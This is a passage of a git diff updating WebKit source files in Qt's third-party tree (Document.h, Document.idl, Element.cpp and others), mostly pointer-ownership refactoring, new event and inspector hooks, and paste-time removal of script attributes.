 #if ENABLE(SVG)
     virtual bool isSVGDocument() const { return false; }
@@ -361,7 +380,12 @@ public:
 #endif
     virtual bool isFrameSet() const { return false; }
     
-    CSSStyleSelector* styleSelector() const { return m_styleSelector; }
+    CSSStyleSelector* styleSelector()
+    { 
+        if (!m_styleSelector)
+            createStyleSelector();
+        return m_styleSelector.get();
+    }
 
     Element* getElementByAccessKey(const String& key) const;
     
@@ -431,6 +455,7 @@ public:
     Settings* settings() const; // can be NULL
 #if ENABLE(INSPECTOR)
     InspectorTimelineAgent* inspectorTimelineAgent() const; // can be NULL
+    virtual InspectorController* inspectorController() const; // can be NULL
 #endif
 
     PassRefPtr<Range> createRange();
@@ -450,13 +475,14 @@ public:
     virtual void updateStyleIfNeeded();
     void updateLayout();
     void updateLayoutIgnorePendingStylesheets();
+    PassRefPtr<RenderStyle> styleForElementIgnoringPendingStylesheets(Element*);
     static void updateStyleForAllDocuments(); // FIXME: Try to reduce the # of calls to this function.
-    DocLoader* docLoader() { return m_docLoader; }
+    DocLoader* docLoader() { return m_docLoader.get(); }
 
     virtual void attach();
     virtual void detach();
 
-    RenderArena* renderArena() { return m_renderArena; }
+    RenderArena* renderArena() { return m_renderArena.get(); }
 
     RenderView* renderView() const;
 
@@ -465,6 +491,7 @@ public:
     
     // to get visually ordered hebrew and arabic pages right
     void setVisuallyOrdered();
+    bool visuallyOrdered() const { return m_visuallyOrdered; }
 
     void open(Document* ownerDocument = 0);
     void implicitOpen();
@@ -504,7 +531,7 @@ public:
     CSSStyleSheet* mappedElementSheet();
     
     virtual Tokenizer* createTokenizer();
-    Tokenizer* tokenizer() { return m_tokenizer; }
+    Tokenizer* tokenizer() { return m_tokenizer.get(); }
     
     bool printing() const { return m_printing; }
     void setPrinting(bool p) { m_printing = p; }
@@ -521,6 +548,10 @@ public:
     void setParsing(bool);
     bool parsing() const { return m_bParsing; }
     int minimumLayoutDelay();
+
+    // This method is used by Android.
+    void setExtraLayoutDelay(int delay) { m_extraLayoutDelay = delay; }
+
     bool shouldScheduleLayout();
     int elapsedTime() const;
     
@@ -618,7 +649,8 @@ public:
         ANIMATIONSTART_LISTENER              = 0x200,
         ANIMATIONITERATION_LISTENER          = 0x400,
         TRANSITIONEND_LISTENER               = 0x800,
-        BEFORELOAD_LISTENER                  = 0x1000
+        BEFORELOAD_LISTENER                  = 0x1000,
+        TOUCH_LISTENER                       = 0x2000
     };
 
     bool hasListenerType(ListenerType listenerType) const { return (m_listenerTypes & listenerType); }
@@ -675,8 +707,8 @@ public:
     void setTitle(const String&, Element* titleElement = 0);
     void removeTitle(Element* titleElement);
 
-    String cookie() const;
-    void setCookie(const String&);
+    String cookie(ExceptionCode&) const;
+    void setCookie(const String&, ExceptionCode&);
 
     String referrer() const;
 
@@ -685,8 +717,28 @@ public:
 
     String lastModified() const;
 
+    // The cookieURL is used to query the cookie database for this document's
+    // cookies. For example, if the cookie URL is http://example.com, we'll
+    // use the non-Secure cookies for example.com when computing
+    // document.cookie.
+    //
+    // Q: How is the cookieURL different from the document's URL?
+    // A: The two URLs are the same almost all the time.  However, if one
+    //    document inherits the security context of another document, it
+    //    inherits its cookieURL but not its URL.
+    //
     const KURL& cookieURL() const { return m_cookieURL; }
 
+    // The firstPartyForCookies is used to compute whether this document
+    // appears in a "third-party" context for the purpose of third-party
+    // cookie blocking.  The document is in a third-party context if the
+    // cookieURL and the firstPartyForCookies are from different hosts.
+    //
+    // Note: Some ports (including possibly Apple's) only consider the
+    //       document in a third-party context if the cookieURL and the
+    //       firstPartyForCookies have a different registry-controlled
+    //       domain.
+    //
     const KURL& firstPartyForCookies() const { return m_firstPartyForCookies; }
     void setFirstPartyForCookies(const KURL& url) { m_firstPartyForCookies = url; }
     
@@ -730,7 +782,7 @@ public:
     void removeMarkers(DocumentMarker::MarkerType = DocumentMarker::AllMarkers);
     void removeMarkers(Node*);
     void repaintMarkers(DocumentMarker::MarkerType = DocumentMarker::AllMarkers);
-    void setRenderedRectForMarker(Node*, DocumentMarker, const IntRect&);
+    void setRenderedRectForMarker(Node*, const DocumentMarker&, const IntRect&);
     void invalidateRenderedRectsForMarkersInRect(const IntRect&);
     void shiftMarkers(Node*, unsigned startOffset, int delta, DocumentMarker::MarkerType = DocumentMarker::AllMarkers);
     void setMarkersActive(Range*, bool);
@@ -764,7 +816,7 @@ public:
 
 #if ENABLE(XBL)
     // XBL methods
-    XBLBindingManager* bindingManager() const { return m_bindingManager; }
+    XBLBindingManager* bindingManager() const { return m_bindingManager.get(); }
 #endif
 
     void incDOMTreeVersion() { ++m_domtree_version; }
@@ -802,10 +854,10 @@ public:
     void removeNodeListCache() { ASSERT(m_numNodeListCaches > 0); --m_numNodeListCaches; }
     bool hasNodeListCaches() const { return m_numNodeListCaches; }
 
-    void updateFocusAppearanceSoon();
+    void updateFocusAppearanceSoon(bool restorePreviousSelection);
     void cancelFocusAppearanceUpdate();
         
-    // FF method for accessing the selection added for compatability.
+    // FF method for accessing the selection added for compatibility.
     DOMSelection* getSelection() const;
     
     // Extension for manipulating canvas drawing contexts for use in CSS
@@ -819,18 +871,15 @@ public:
     virtual void addMessage(MessageDestination, MessageSource, MessageType, MessageLevel, const String& message, unsigned lineNumber, const String& sourceURL);
     virtual void resourceRetrievedByXMLHttpRequest(unsigned long identifier, const ScriptString& sourceString);
     virtual void scriptImported(unsigned long, const String&);
-    virtual void postTask(PassRefPtr<Task>); // Executes the task on context's thread asynchronously.
+    virtual void postTask(PassOwnPtr<Task>); // Executes the task on context's thread asynchronously.
 
-    typedef HashMap<WebCore::Node*, JSNode*> JSWrapperCache;
+#if USE(JSC)
+    typedef JSC::WeakGCMap<WebCore::Node*, JSNode*> JSWrapperCache;
     typedef HashMap<DOMWrapperWorld*, JSWrapperCache*> JSWrapperCacheMap;
     JSWrapperCacheMap& wrapperCacheMap() { return m_wrapperCacheMap; }
-    JSWrapperCache* getWrapperCache(DOMWrapperWorld* world)
-    {
-        if (JSWrapperCache* wrapperCache = m_wrapperCacheMap.get(world))
-            return wrapperCache;
-        return createWrapperCache(world);
-    }
+    JSWrapperCache* getWrapperCache(DOMWrapperWorld* world);
     JSWrapperCache* createWrapperCache(DOMWrapperWorld*);
+#endif
 
     virtual void finishedParsing();
 
@@ -887,17 +936,18 @@ public:
     //       that already contains content.
     void setSecurityOrigin(SecurityOrigin*);
 
+    void updateURLForPushOrReplaceState(const KURL&);
+    void statePopped(SerializedScriptValue*);
+
     bool processingLoadEvent() const { return m_processingLoadEvent; }
 
 #if ENABLE(DATABASE)
-    void addOpenDatabase(Database*);
-    void removeOpenDatabase(Database*);
-    DatabaseThread* databaseThread();   // Creates the thread as needed, but not if it has been already terminated.
-    void setHasOpenDatabases() { m_hasOpenDatabases = true; }
-    bool hasOpenDatabases() { return m_hasOpenDatabases; }
-    void stopDatabases();
+    virtual bool isDatabaseReadOnly() const;
+    virtual void databaseExceededQuota(const String& name);
 #endif
 
+    virtual bool isContextThread() const;
+
     void setUsingGeolocation(bool f) { m_usingGeolocation = f; }
     bool usingGeolocation() const { return m_usingGeolocation; };
 
@@ -908,11 +958,16 @@ public:
     void resetWMLPageState();
     void initializeWMLPageState();
 #endif
+    
+    bool containsValidityStyleRules() const { return m_containsValidityStyleRules; }
+    void setContainsValidityStyleRules() { m_containsValidityStyleRules = true; }
 
-protected:
-    Document(Frame*, bool isXHTML);
+    void enqueueEvent(PassRefPtr<Event>);
+    void enqueuePageshowEvent(PageshowEventPersistence);
+    void enqueueHashchangeEvent(const String& oldURL, const String& newURL);
 
-    void setStyleSelector(CSSStyleSelector* styleSelector) { m_styleSelector = styleSelector; }
+protected:
+    Document(Frame*, bool isXHTML, bool isHTML);
 
     void clearXMLVersion() { m_xmlVersion = String(); }
 
@@ -947,12 +1002,17 @@ private:
 
     void cacheDocumentElement() const;
 
-    CSSStyleSelector* m_styleSelector;
+    void createStyleSelector();
+
+    void enqueuePopstateEvent(PassRefPtr<SerializedScriptValue> stateObject);
+    void pendingEventTimerFired(Timer<Document>*);
+
+    OwnPtr<CSSStyleSelector> m_styleSelector;
     bool m_didCalculateStyleSelector;
 
     Frame* m_frame;
-    DocLoader* m_docLoader;
-    Tokenizer* m_tokenizer;
+    OwnPtr<DocLoader> m_docLoader;
+    OwnPtr<Tokenizer> m_tokenizer;
     bool m_wellFormed;
 
     // Document URLs.
@@ -1032,7 +1092,7 @@ private:
     String m_selectedStylesheetSet;
 
     bool m_loadingSheet;
-    bool visuallyOrdered;
+    bool m_visuallyOrdered;
     bool m_bParsing;
     Timer<Document> m_styleRecalcTimer;
     bool m_inStyleRecalc;
@@ -1047,12 +1107,15 @@ private:
     bool m_isDNSPrefetchEnabled;
     bool m_haveExplicitlyDisabledDNSPrefetch;
     bool m_frameElementsShouldIgnoreScrolling;
+    bool m_containsValidityStyleRules;
+    bool m_updateFocusAppearanceRestoresSelection;
 
     String m_title;
+    String m_rawTitle;
     bool m_titleSetExplicitly;
     RefPtr<Element> m_titleElement;
-    
-    RenderArena* m_renderArena;
+
+    OwnPtr<RenderArena> m_renderArena;
 
     typedef std::pair<Vector<DocumentMarker>, Vector<IntRect> > MarkerMapVectorPair;
     typedef HashMap<RefPtr<Node>, MarkerMapVectorPair*> MarkerMap;
@@ -1065,8 +1128,14 @@ private:
     Element* m_cssTarget;
     
     bool m_processingLoadEvent;
+    RefPtr<SerializedScriptValue> m_pendingStateObject;
+    HashSet<RefPtr<HistoryItem> > m_associatedHistoryItems;
     double m_startTime;
     bool m_overMinimumLayoutThreshold;
+    // This is used to increase the minimum delay between re-layouts. It is set
+    // using setExtraLayoutDelay to modify the minimum delay used at different
+    // points during the lifetime of the Document.
+    int m_extraLayoutDelay;
 
     Vector<std::pair<ScriptElementData*, CachedResourceHandle<CachedScript> > > m_scriptsToExecuteSoon;
     Timer<Document> m_executeScriptSoonTimer;
@@ -1077,7 +1146,7 @@ private:
 #endif
 
 #if ENABLE(XBL)
-    XBLBindingManager* m_bindingManager; // The access point through which documents and elements communicate with XBL.
+    OwnPtr<XBLBindingManager> m_bindingManager; // The access point through which documents and elements communicate with XBL.
 #endif
     
     typedef HashMap<AtomicStringImpl*, HTMLMapElement*> ImageMapsByName;
@@ -1096,7 +1165,6 @@ private:
 #endif
 
     RenderObject* m_savedRenderer;
-    int m_secureForms;
     
     RefPtr<TextResourceDecoder> m_decoder;
 
@@ -1145,23 +1213,25 @@ private:
     bool m_useSecureKeyboardEntryWhenActive;
 
     bool m_isXHTML;
+    bool m_isHTML;
 
     unsigned m_numNodeListCaches;
 
+#if USE(JSC)
     JSWrapperCacheMap m_wrapperCacheMap;
-
-#if ENABLE(DATABASE)
-    RefPtr<DatabaseThread> m_databaseThread;
-    bool m_hasOpenDatabases;    // This never changes back to false, even as the database thread is closed.
-    typedef HashSet<Database*> DatabaseSet;
-    OwnPtr<DatabaseSet> m_openDatabaseSet;
+    JSWrapperCache* m_normalWorldWrapperCache;
 #endif
-    
+
     bool m_usingGeolocation;
 
+    Timer<Document> m_pendingEventTimer;
+    Vector<RefPtr<Event> > m_pendingEventQueue;
+
 #if ENABLE(WML)
     bool m_containsWMLContent;
 #endif
+
+    RefPtr<DocumentWeakReference> m_weakReference;
 };
 
 inline bool Document::hasElementWithId(AtomicStringImpl* id) const
@@ -1175,12 +1245,6 @@ inline bool Node::isDocumentNode() const
     return this == m_document;
 }
 
-#if ENABLE(INSPECTOR)
-inline InspectorTimelineAgent* Document::inspectorTimelineAgent() const {
-    return page() ? page()->inspectorTimelineAgent() : 0;
-}
-#endif
-
 } // namespace WebCore
 
 #endif // Document_h
diff --git a/src/3rdparty/webkit/WebCore/dom/Document.idl b/src/3rdparty/webkit/WebCore/dom/Document.idl
index e9b5480..88bd639 100644
--- a/src/3rdparty/webkit/WebCore/dom/Document.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Document.idl
@@ -22,12 +22,9 @@ module core {
 
     interface [
         CustomToJS,
-        GenerateConstructor,
         GenerateNativeConverter,
         CustomMarkFunction,
-        InlineGetOwnPropertySlot,
-        InterfaceUUID=48BB95FC-2D08-4c54-BE65-7558736A4CAE,
-        ImplementationUUID=FF5CBE81-F817-429c-A6C2-0CCCD2328062
+        InlineGetOwnPropertySlot
     ] Document : Node {
 
         // DOM Level 1 Core
@@ -35,7 +32,7 @@ module core {
         readonly attribute [V8Custom] DOMImplementation implementation;
         readonly attribute Element documentElement;
 
-        [ReturnsNew] Element createElement(in [ConvertNullToNullString, HintAtomic] DOMString tagName)
+        [ReturnsNew] Element createElement(in [ConvertNullToNullString] DOMString tagName)
             raises (DOMException);
         DocumentFragment   createDocumentFragment();
         [ReturnsNew] Text createTextNode(in DOMString data);
@@ -64,7 +61,7 @@ module core {
             raises (DOMException);
         [OldStyleObjC] NodeList getElementsByTagNameNS(in [ConvertNullToNullString] DOMString namespaceURI,
                                                        in DOMString localName);
-        Element            getElementById(in [HintAtomic] DOMString elementId);
+        Element            getElementById(in DOMString elementId);
 
         // DOM Level 3 Core
 
@@ -81,7 +78,6 @@ module core {
 
                  attribute [ConvertNullStringTo=Null, ConvertNullToNullString] DOMString documentURI;
 
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         // DOM Level 2 Events (DocumentEvents interface)
 
         Event              createEvent(in DOMString eventType)
@@ -129,7 +125,6 @@ module core {
                                                       in XPathResult inResult)
             raises(DOMException);
 #endif // ENABLE_XPATH
-#endif // !defined(LANGUAGE_COM)
 
         // Common extensions
 
@@ -162,19 +157,16 @@ module core {
 #endif
         readonly attribute DOMString URL;
 
-        // FIXME: the DOM spec states that this attribute can 
-        // raise an exception on setting.
                  attribute [ConvertNullToNullString] DOMString cookie
-                     /*setter raises (DOMException)*/;
+                     setter raises (DOMException),
+                     getter raises (DOMException);
 
         // FIXME: the DOM spec does NOT have this attribute
         // raising an exception.
                  attribute HTMLElement body
                      setter raises (DOMException);
 
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         readonly attribute HTMLHeadElement head;
-#endif
         readonly attribute HTMLCollection images;
         readonly attribute HTMLCollection applets;
         readonly attribute HTMLCollection links;
@@ -195,9 +187,7 @@ module core {
         readonly attribute [ConvertNullStringTo=Undefined] DOMString readyState;
 
         Element            elementFromPoint(in long x, in long y);
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         Range              caretRangeFromPoint(in long x, in long y);
-#endif
 
         // Mozilla extensions
 #if defined(LANGUAGE_JAVASCRIPT) && LANGUAGE_JAVASCRIPT
@@ -210,11 +200,9 @@ module core {
         readonly attribute [ConvertNullStringTo=Null] DOMString preferredStylesheetSet;
                  attribute [ConvertNullStringTo=Null, ConvertNullToNullString] DOMString selectedStylesheetSet;
 
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
 #if !defined(LANGUAGE_JAVASCRIPT) || !LANGUAGE_JAVASCRIPT
         CSSStyleDeclaration createCSSStyleDeclaration();
 #endif
-#endif
 
 #if defined(LANGUAGE_OBJECTIVE_C) && LANGUAGE_OBJECTIVE_C
         // DOM Level 2 Style Interface
@@ -231,11 +219,9 @@ module core {
                                                   
 #endif
 
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
 #if !defined(LANGUAGE_OBJECTIVE_C) || !LANGUAGE_OBJECTIVE_C
         [V8Custom] DOMObject getCSSCanvasContext(in DOMString contextId, in DOMString name, in long width, in long height);
 #endif
-#endif
 
         // HTML 5
         NodeList getElementsByClassName(in DOMString tagname);
@@ -253,7 +239,6 @@ module core {
 #endif
 
 #if !defined(LANGUAGE_OBJECTIVE_C) || !LANGUAGE_OBJECTIVE_C
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         // Event handler DOM attributes
         attribute [DontEnum] EventListener onabort;
         attribute [DontEnum] EventListener onblur;
@@ -321,7 +306,10 @@ module core {
         attribute [DontEnum] EventListener onreset;
         attribute [DontEnum] EventListener onsearch;
         attribute [DontEnum] EventListener onselectstart;
-#endif
+        attribute [DontEnum,Conditional=TOUCH_EVENTS] EventListener ontouchstart;
+        attribute [DontEnum,Conditional=TOUCH_EVENTS] EventListener ontouchmove;
+        attribute [DontEnum,Conditional=TOUCH_EVENTS] EventListener ontouchend;
+        attribute [DontEnum,Conditional=TOUCH_EVENTS] EventListener ontouchcancel;
 #endif
     };
 
diff --git a/src/3rdparty/webkit/WebCore/dom/DocumentFragment.idl b/src/3rdparty/webkit/WebCore/dom/DocumentFragment.idl
index ff6232f..882b62d 100644
--- a/src/3rdparty/webkit/WebCore/dom/DocumentFragment.idl
+++ b/src/3rdparty/webkit/WebCore/dom/DocumentFragment.idl
@@ -19,11 +19,7 @@
 
 module core {
 
-    interface [
-        GenerateConstructor,
-        InterfaceUUID=F5C8DAF0-D728-4b2b-9D9C-630621B07D35,
-        ImplementationUUID=E57BF71F-3FAA-495c-A307-E288F8E5B2EC
-    ] DocumentFragment : Node {
+    interface DocumentFragment : Node {
         // NodeSelector - Selector API
         Element querySelector(in DOMString selectors)
             raises(DOMException);
diff --git a/src/3rdparty/webkit/WebCore/dom/DocumentType.cpp b/src/3rdparty/webkit/WebCore/dom/DocumentType.cpp
index b8185e7..9012b68 100644
--- a/src/3rdparty/webkit/WebCore/dom/DocumentType.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/DocumentType.cpp
@@ -23,7 +23,6 @@
 #include "config.h"
 #include "DocumentType.h"
 
-#include "DOMImplementation.h"
 #include "Document.h"
 #include "NamedNodeMap.h"
 
diff --git a/src/3rdparty/webkit/WebCore/dom/DocumentType.idl b/src/3rdparty/webkit/WebCore/dom/DocumentType.idl
index ef7b5b6..7992dc5 100644
--- a/src/3rdparty/webkit/WebCore/dom/DocumentType.idl
+++ b/src/3rdparty/webkit/WebCore/dom/DocumentType.idl
@@ -20,10 +20,7 @@
 module core {
 
     interface [
-        GenerateConstructor,
-        GenerateNativeConverter,
-        InterfaceUUID=20F04535-A423-4273-8CFE-3AD996100D29,
-        ImplementationUUID=736D952F-DBAF-458b-834B-F1638700BD88
+        GenerateNativeConverter
     ] DocumentType : Node {
 
         // DOM Level 1
diff --git a/src/3rdparty/webkit/WebCore/dom/DynamicNodeList.cpp b/src/3rdparty/webkit/WebCore/dom/DynamicNodeList.cpp
index 892a5e7..3f0744b 100644
--- a/src/3rdparty/webkit/WebCore/dom/DynamicNodeList.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/DynamicNodeList.cpp
@@ -129,7 +129,9 @@ Node* DynamicNodeList::itemWithName(const AtomicString& elementId) const
                     return node;
             }
         }
-        return 0;
+        if (!node)
+            return 0;
+        // In the case of multiple nodes with the same name, just fall through.
     }
 
     unsigned length = this->length();
diff --git a/src/3rdparty/webkit/WebCore/dom/Element.cpp b/src/3rdparty/webkit/WebCore/dom/Element.cpp
index 0692999..8711110 100644
--- a/src/3rdparty/webkit/WebCore/dom/Element.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/Element.cpp
@@ -35,6 +35,7 @@
 #include "ClientRect.h"
 #include "ClientRectList.h"
 #include "Document.h"
+#include "DocumentFragment.h"
 #include "ElementRareData.h"
 #include "ExceptionCode.h"
 #include "FocusController.h"
@@ -42,13 +43,17 @@
 #include "FrameView.h"
 #include "HTMLElement.h"
 #include "HTMLNames.h"
+#include "HTMLTokenizer.h"
+#include "InspectorController.h"
 #include "NamedNodeMap.h"
 #include "NodeList.h"
 #include "NodeRenderStyle.h"
 #include "Page.h"
 #include "RenderView.h"
+#include "RenderWidget.h"
 #include "TextIterator.h"
 #include "XMLNames.h"
+#include "XMLTokenizer.h"
 
 #if ENABLE(SVG)
 #include "SVGNames.h"
@@ -91,6 +96,51 @@ NodeRareData* Element::createRareData()
 {
     return new ElementRareData;
 }
+
+PassRefPtr<DocumentFragment> Element::createContextualFragment(const String& markup, FragmentScriptingPermission scriptingPermission)
+{
+    RefPtr<DocumentFragment> fragment = DocumentFragment::create(document());
+    
+    if (document()->isHTMLDocument())
+        parseHTMLDocumentFragment(markup, fragment.get(), scriptingPermission);
+    else {
+        if (!parseXMLDocumentFragment(markup, fragment.get(), this, scriptingPermission))
+            // FIXME: We should propagate a syntax error exception out here.
+            return 0;
+    }
+    
+    // Exceptions are ignored because none ought to happen here.
+    ExceptionCode ignoredExceptionCode;
+    
+    // We need to pop <html> and <body> elements and remove <head> to
+    // accommodate folks passing complete HTML documents to make the
+    // child of an element.
+    
+    RefPtr<Node> nextNode;
+    for (RefPtr<Node> node = fragment->firstChild(); node; node = nextNode) {
+        nextNode = node->nextSibling();
+        if (node->hasTagName(htmlTag) || node->hasTagName(bodyTag)) {
+            Node* firstChild = node->firstChild();
+            if (firstChild)
+                nextNode = firstChild;
+            RefPtr<Node> nextChild;
+            for (RefPtr<Node> child = firstChild; child; child = nextChild) {
+                nextChild = child->nextSibling();
+                node->removeChild(child.get(), ignoredExceptionCode);
+                ASSERT(!ignoredExceptionCode);
+                fragment->insertBefore(child, node.get(), ignoredExceptionCode);
+                ASSERT(!ignoredExceptionCode);
+            }
+            fragment->removeChild(node.get(), ignoredExceptionCode);
+            ASSERT(!ignoredExceptionCode);
+        } else if (node->hasTagName(headTag)) {
+            fragment->removeChild(node.get(), ignoredExceptionCode);
+            ASSERT(!ignoredExceptionCode);
+        }
+    }
+    
+    return fragment.release();
+}
     
 PassRefPtr<Node> Element::cloneNode(bool deep)
 {
@@ -111,11 +161,11 @@ PassRefPtr<Element> Element::cloneElementWithoutChildren()
     // This is a sanity check as HTML overloads some of the DOM methods.
     ASSERT(isHTMLElement() == clone->isHTMLElement());
 
+    clone->copyNonAttributeProperties(this);
+
     // Clone attributes.
     if (namedAttrMap)
         clone->attributes()->setAttributes(*attributes(true)); // Call attributes(true) to force attribute synchronization to occur (for svg and style) before cloning happens.
-
-    clone->copyNonAttributeProperties(this);
     
     return clone.release();
 }
@@ -135,6 +185,12 @@ void Element::setAttribute(const QualifiedName& name, const AtomicString& value)
     ExceptionCode ec;
     setAttribute(name, value, ec);
 }
+    
+void Element::setCStringAttribute(const QualifiedName& name, const char* cStringValue)
+{
+    ExceptionCode ec;
+    setAttribute(name, AtomicString(cStringValue), ec);
+}
 
 void Element::setBooleanAttribute(const QualifiedName& name, bool b)
 {
@@ -152,21 +208,6 @@ NamedNodeMap* Element::attributes() const
     return attributes(false);
 }
 
-NamedNodeMap* Element::attributes(bool readonly) const
-{
-    if (!m_isStyleAttributeValid)
-        updateStyleAttribute();
-
-#if ENABLE(SVG)
-    if (!m_areSVGAttributesValid)
-        updateAnimatedSVGAttribute(String());
-#endif
-
-    if (!readonly && !namedAttrMap)
-        createAttributeMap();
-    return namedAttrMap.get();
-}
-
 Node::NodeType Element::nodeType() const
 {
     return ELEMENT_NODE;
@@ -189,7 +230,7 @@ const AtomicString& Element::getAttribute(const QualifiedName& name) const
 
 #if ENABLE(SVG)
     if (!m_areSVGAttributesValid)
-        updateAnimatedSVGAttribute(name.localName());
+        updateAnimatedSVGAttribute(name);
 #endif
 
     if (namedAttrMap)
@@ -488,18 +529,22 @@ static inline bool shouldIgnoreAttributeCase(const Element* e)
 
 const AtomicString& Element::getAttribute(const String& name) const
 {
-    String localName = shouldIgnoreAttributeCase(this) ? name.lower() : name;
-    if (localName == styleAttr.localName() && !m_isStyleAttributeValid)
+    bool ignoreCase = shouldIgnoreAttributeCase(this);
+    
+    // Update the 'style' attribute if it's invalid and being requested:
+    if (!m_isStyleAttributeValid && equalPossiblyIgnoringCase(name, styleAttr.localName(), ignoreCase))
         updateStyleAttribute();
 
 #if ENABLE(SVG)
-    if (!m_areSVGAttributesValid)
-        updateAnimatedSVGAttribute(name);
+    if (!m_areSVGAttributesValid) {
+        // We're not passing a namespace argument on purpose. SVGNames::*Attr are defined w/o namespaces as well.
+        updateAnimatedSVGAttribute(QualifiedName(nullAtom, name, nullAtom));
+    }
 #endif
 
     if (namedAttrMap)
-        if (Attribute* a = namedAttrMap->getAttributeItem(name, shouldIgnoreAttributeCase(this)))
-            return a->value();
+        if (Attribute* attribute = namedAttrMap->getAttributeItem(name, ignoreCase))
+            return attribute->value();
     
     return nullAtom;
 }
@@ -516,20 +561,16 @@ void Element::setAttribute(const AtomicString& name, const AtomicString& value,
         return;
     }
 
-#if COMPILER(RVCT)
-    const AtomicString localName = shouldIgnoreAttributeCase(this) ? name.lower() : name;
-#else
     const AtomicString& localName = shouldIgnoreAttributeCase(this) ? name.lower() : name;
-#endif
 
     // allocate attributemap if necessary
     Attribute* old = attributes(false)->getAttributeItem(localName, false);
 
     document()->incDOMTreeVersion();
 
-    if (localName == idAttr.localName())
+    if (localName == idAttributeName().localName())
         updateId(old ? old->value() : nullAtom, value);
-    
+
     if (old && value.isNull())
         namedAttrMap->removeAttribute(old->name());
     else if (!old && !value.isNull())
@@ -538,6 +579,15 @@ void Element::setAttribute(const AtomicString& name, const AtomicString& value,
         old->setValue(value);
         attributeChanged(old);
     }
+
+#if ENABLE(INSPECTOR)
+    if (Page* page = document()->page()) {
+        if (InspectorController* inspectorController = page->inspectorController()) {
+            if (!m_synchronizingStyleAttribute)
+                inspectorController->didModifyDOMAttr(this);
+        }
+    }
+#endif
 }
 
 void Element::setAttribute(const QualifiedName& name, const AtomicString& value, ExceptionCode&)
@@ -547,9 +597,9 @@ void Element::setAttribute(const QualifiedName& name, const AtomicString& value,
     // allocate attributemap if necessary
     Attribute* old = attributes(false)->getAttributeItem(name);
 
-    if (name == idAttr)
+    if (name == idAttributeName())
         updateId(old ? old->value() : nullAtom, value);
-    
+
     if (old && value.isNull())
         namedAttrMap->removeAttribute(name);
     else if (!old && !value.isNull())
@@ -558,6 +608,15 @@ void Element::setAttribute(const QualifiedName& name, const AtomicString& value,
         old->setValue(value);
         attributeChanged(old);
     }
+
+#if ENABLE(INSPECTOR)
+    if (Page* page = document()->page()) {
+        if (InspectorController* inspectorController = page->inspectorController()) {
+            if (!m_synchronizingStyleAttribute)
+                inspectorController->didModifyDOMAttr(this);
+        }
+    }
+#endif
 }
 
 PassRefPtr<Attribute> Element::createAttribute(const QualifiedName& name, const AtomicString& value)
@@ -573,20 +632,22 @@ void Element::attributeChanged(Attribute* attr, bool)
 
 void Element::updateAfterAttributeChanged(Attribute* attr)
 {
-    AXObjectCache* axObjectCache = document()->axObjectCache();
-    if (!axObjectCache->accessibilityEnabled())
+    if (!AXObjectCache::accessibilityEnabled())
         return;
 
     const QualifiedName& attrName = attr->name();
     if (attrName == aria_activedescendantAttr) {
         // any change to aria-activedescendant attribute triggers accessibility focus change, but document focus remains intact
-        axObjectCache->handleActiveDescendantChanged(renderer());
+        document()->axObjectCache()->handleActiveDescendantChanged(renderer());
     } else if (attrName == roleAttr) {
         // the role attribute can change at any time, and the AccessibilityObject must pick up these changes
-        axObjectCache->handleAriaRoleChanged(renderer());
+        document()->axObjectCache()->handleAriaRoleChanged(renderer());
     } else if (attrName == aria_valuenowAttr) {
         // If the valuenow attribute changes, AX clients need to be notified.
-        axObjectCache->postNotification(renderer(), AXObjectCache::AXValueChanged, true);
+        document()->axObjectCache()->postNotification(renderer(), AXObjectCache::AXValueChanged, true);
+    } else if (attrName == aria_labelAttr || attrName == aria_labeledbyAttr || attrName == altAttr || attrName == titleAttr) {
+        // If the content of an element changes due to an attribute change, notify accessibility.
+        document()->axObjectCache()->contentChanged(renderer());
     }
 }
     
@@ -595,15 +656,31 @@ void Element::recalcStyleIfNeededAfterAttributeChanged(Attribute* attr)
     if (document()->attached() && document()->styleSelector()->hasSelectorForAttribute(attr->name().localName()))
         setNeedsStyleRecalc();
 }
-        
-void Element::setAttributeMap(PassRefPtr<NamedNodeMap> list)
+
+// Returns true is the given attribute is an event handler.
+// We consider an event handler any attribute that begins with "on".
+// It is a simple solution that has the advantage of not requiring any
+// code or configuration change if a new event handler is defined.
+
+static bool isEventHandlerAttribute(const QualifiedName& name)
+{
+    return name.namespaceURI().isNull() && name.localName().startsWith("on");
+}
+
+static bool isAttributeToRemove(const QualifiedName& name, const AtomicString& value)
+{    
+    return (name.localName().endsWith(hrefAttr.localName()) || name == srcAttr || name == actionAttr) && protocolIsJavaScript(deprecatedParseURL(value));       
+}
+
+void Element::setAttributeMap(PassRefPtr<NamedNodeMap> list, FragmentScriptingPermission scriptingPermission)
 {
     document()->incDOMTreeVersion();
 
     // If setting the whole map changes the id attribute, we need to call updateId.
 
-    Attribute* oldId = namedAttrMap ? namedAttrMap->getAttributeItem(idAttr) : 0;
-    Attribute* newId = list ? list->getAttributeItem(idAttr) : 0;
+    const QualifiedName& idName = idAttributeName();
+    Attribute* oldId = namedAttrMap ? namedAttrMap->getAttributeItem(idName) : 0;
+    Attribute* newId = list ? list->getAttributeItem(idName) : 0;
 
     if (oldId || newId)
         updateId(oldId ? oldId->value() : nullAtom, newId ? newId->value() : nullAtom);
@@ -615,6 +692,22 @@ void Element::setAttributeMap(PassRefPtr<NamedNodeMap> list)
 
     if (namedAttrMap) {
         namedAttrMap->m_element = this;
+        // If the element is created as result of a paste or drag-n-drop operation
+        // we want to remove all the script and event handlers.
+        if (scriptingPermission == FragmentScriptingNotAllowed) {
+            unsigned i = 0;
+            while (i < namedAttrMap->length()) {
+                const QualifiedName& attributeName = namedAttrMap->m_attributes[i]->name();
+                if (isEventHandlerAttribute(attributeName)) {
+                    namedAttrMap->m_attributes.remove(i);
+                    continue;
+                }
+
+                if (isAttributeToRemove(attributeName, namedAttrMap->m_attributes[i]->value()))
+                    namedAttrMap->m_attributes[i]->setValue(nullAtom);
+                i++;
+            }
+        }
         unsigned len = namedAttrMap->length();
         for (unsigned i = 0; i < len; i++)
             attributeChanged(namedAttrMap->m_attributes[i].get());
@@ -629,7 +722,7 @@ bool Element::hasAttributes() const
 
 #if ENABLE(SVG)
     if (!m_areSVGAttributesValid)
